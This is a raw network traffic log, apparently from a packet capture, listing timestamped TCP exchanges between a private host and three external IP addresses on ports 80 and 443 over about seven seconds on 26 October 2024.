Oct 26, 2024 23:57:15.764854908 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.764914989 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.765003920 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.765003920 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.837730885 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.838057995 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.838154078 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.838196039 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.838196039 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.838258982 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.838316917 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.838316917 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.838337898 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.838387966 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.838399887 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.838521004 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.841075897 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.841165066 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.841248035 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.841401100 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.841414928 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.841460943 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.841490030 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.841552019 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.841909885 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.841964006 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.842178106 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.842236996 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.882169962 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.882260084 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.882359028 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.882416964 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.954698086 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.954765081 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.954843998 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.954893112 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.955010891 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.955060005 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.955099106 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.955144882 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.958340883 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.958400965 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.958508968 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.958575010 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.958836079 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.958894014 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.958921909 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.958973885 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.959281921 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.959641933 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.959656000 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.959709883 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.999449968 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.999522924 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.999581099 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.999640942 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.999886036 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.999946117 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.999979019 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.000030994 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.072019100 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.072114944 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.072138071 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.072206020 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.072436094 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.072506905 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.072525024 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.072577000 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.075810909 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.075917959 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.076055050 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.076107979 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.076288939 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.076349020 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.076383114 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.076433897 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.077068090 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.077121019 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.077176094 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.077233076 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.128420115 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.128827095 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.128887892 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.129244089 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.160748005 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.160958052 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.161036015 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.161118984 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.189945936 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.190128088 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.190135002 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.190195084 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.190325022 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.190325022 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.190565109 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.190629005 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.193197012 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.193249941 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.193383932 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.193525076 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.193650007 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.193708897 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.193945885 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.194004059 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.194044113 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.194098949 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.194382906 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.194441080 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.194467068 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.194521904 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.194813967 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.194879055 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.245541096 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.245639086 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.245656013 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.245769024 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.278294086 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.278645992 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.278702974 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.279225111 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.307394028 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.307554007 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.307569027 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.307631016 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.309055090 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.309118986 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.309191942 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.309782028 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.310615063 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.310869932 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.310883045 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.310935020 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.311144114 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.311456919 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.311541080 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.311554909 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.311942101 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.311953068 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.312005043 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.352716923 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.352790117 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.362777948 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.362852097 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.362884998 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.363038063 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.395585060 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.398660898 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.398679972 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.398736000 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.425235987 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.425491095 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.425574064 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.425587893 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.425879955 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.425949097 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.425961971 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.426651955 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.428369045 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.428914070 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.428981066 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.428992987 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.429580927 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.429651022 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.429678917 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.429733038 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.429747105 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.430659056 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.484198093 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.486694098 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.486716986 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.490695953 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.513077021 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.514688969 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.514703035 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.518670082 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.542474985 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.542665005 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.542678118 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.542733908 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.542746067 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.543354988 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.543430090 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.543442965 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.543526888 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.543585062 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.543597937 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.543648005 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.545659065 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.545739889 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.545886040 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.546149969 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.546216965 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.546230078 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.546506882 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.546567917 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.546582937 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.546637058 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.546704054 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.549302101 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.605333090 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.605526924 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.605549097 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.606690884 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.637089014 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.638674021 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.638688087 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.638740063 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.666023970 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.666266918 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.666359901 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.666373968 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.666424990 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.666651011 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.666747093 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.667174101 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.667344093 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.667385101 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.667406082 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.667428970 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.668267012 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.668320894 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.668334007 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.668384075 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.668394089 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.669164896 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.669224024 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.669250011 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.670658112 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.670669079 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.670727015 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.722806931 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.725712061 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.725754023 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.726005077 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.758555889 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.758675098 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.758740902 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.758800030 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.758836031 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.758913994 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.782115936 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.782423019 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.782485008 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.782485008 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.782515049 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.782542944 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.782603979 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.782896996 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.782974958 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.782990932 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.783077002 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.783204079 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.783252001 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.783341885 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.783409119 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.783925056 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.783991098 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.784029961 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.784503937 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.784564018 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.784580946 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.784691095 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.784749985 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.784763098 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.784996986 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:16.785052061 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.838823080 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:16.838869095 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:17.681513071 CEST	61886	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:17.687181950 CEST	80	61886	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:17.687300920 CEST	61886	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:17.687619925 CEST	61886	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:17.693056107 CEST	80	61886	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:18.357789993 CEST	80	61886	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:18.363281012 CEST	61886	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:18.368921995 CEST	80	61886	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:18.523883104 CEST	80	61886	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:18.573756933 CEST	61886	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:18.864639044 CEST	61896	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:18.864658117 CEST	443	61896	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:18.864737034 CEST	61896	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:18.868424892 CEST	61896	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:18.868439913 CEST	443	61896	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:19.512181997 CEST	443	61896	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:19.512270927 CEST	61896	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:19.515686035 CEST	61896	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:19.515692949 CEST	443	61896	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:19.516139030 CEST	443	61896	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:19.520695925 CEST	61896	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:19.563376904 CEST	443	61896	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:20.189614058 CEST	443	61896	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:20.189868927 CEST	443	61896	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:20.189963102 CEST	61896	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:20.202786922 CEST	61896	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:20.209976912 CEST	61886	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:20.215368032 CEST	80	61886	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:20.371098042 CEST	80	61886	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:20.373280048 CEST	61902	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:20.373341084 CEST	443	61902	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:20.373557091 CEST	61902	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:20.373966932 CEST	61902	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:20.374002934 CEST	443	61902	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:20.417495012 CEST	61886	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:20.989067078 CEST	443	61902	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:20.991225958 CEST	61902	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:20.991300106 CEST	443	61902	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:21.167928934 CEST	443	61902	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:21.168164968 CEST	443	61902	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:21.168718100 CEST	61902	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:21.169251919 CEST	61902	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:21.177961111 CEST	61886	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:21.179596901 CEST	61908	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:21.185007095 CEST	80	61908	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:21.185940981 CEST	80	61886	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:21.186036110 CEST	61886	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:21.186050892 CEST	61908	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:21.186281919 CEST	61908	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:21.191646099 CEST	80	61908	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:21.848947048 CEST	80	61908	193.122.130.0	192.168.2.4
Oct 26, 2024 23:57:21.856463909 CEST	61913	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:21.856517076 CEST	443	61913	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:21.856623888 CEST	61913	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:21.856858015 CEST	61913	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:21.856880903 CEST	443	61913	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:21.890371084 CEST	61908	80	192.168.2.4	193.122.130.0
Oct 26, 2024 23:57:22.473963976 CEST	443	61913	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:22.475940943 CEST	61913	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:22.475984097 CEST	443	61913	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:22.626964092 CEST	443	61913	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:22.627208948 CEST	443	61913	188.114.96.3	192.168.2.4
Oct 26, 2024 23:57:22.627402067 CEST	61913	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:22.627723932 CEST	61913	443	192.168.2.4	188.114.96.3
Oct 26, 2024 23:57:22.632108927 CEST	61908	80	192.168.2.4	193.122.130.0
